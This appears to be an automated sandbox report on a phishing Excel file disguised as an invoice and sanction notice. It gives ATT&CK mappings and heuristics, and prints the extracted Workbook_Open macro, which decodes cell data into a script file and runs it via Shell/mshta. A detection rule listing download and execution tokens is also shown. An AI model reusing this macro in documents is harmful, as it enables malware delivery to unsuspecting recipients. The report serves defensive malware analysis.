MALICIOUS
136
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is an Excel spreadsheet containing VBA macros. The WorkBook_Open macro is designed to execute a payload. It constructs a path to a script file using the ALLUSERSPROFILE environment variable and a hardcoded string, resulting in the path 'C:\Users\Public\theExcel2FarEast.sct'. It then uses the Shell function to execute this script via 'mshta C:\Users\Public\theExcel2FarEast.sct'. The document body content, presenting a fake invoice and sanction notice, serves as a lure to encourage the user to open the malicious spreadsheet.
Heuristics 5
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell (Cells(138, 94) & theRangeAutoFormatPTNone) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub WorkBook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
theRangeAutoFormatPTNone = Environ(Cells(42, 66)) & Cells(195, 86)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1096 bytes |
SHA-256: 9fac38c706df2fe045ad9cfc8e0f8d8170cd6fb8038f402d4d1df33dd36a193e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
For Each theRangeAutoFormatAccounting3 In ActiveWorkbook.Sheets(CStr(Cells(207, 83))).Range(CStr(Cells(181, 96)))
theYDMFormat = theYDMFormat & Chr(theRangeAutoFormatAccounting3.Value + 13000)
Next theRangeAutoFormatAccounting3
theRangeAutoFormatPTNone = Environ(Cells(42, 66)) & Cells(195, 86)
Open theRangeAutoFormatPTNone For Output As #1
Print #1, theYDMFormat
Close #1
Shell (Cells(138, 94) & theRangeAutoFormatPTNone)
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 9216 bytes |
SHA-256: 7cf908dbe9b599dc6405ac634f9e2f9404e67db6748019bf087f6f1df610a0b6 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.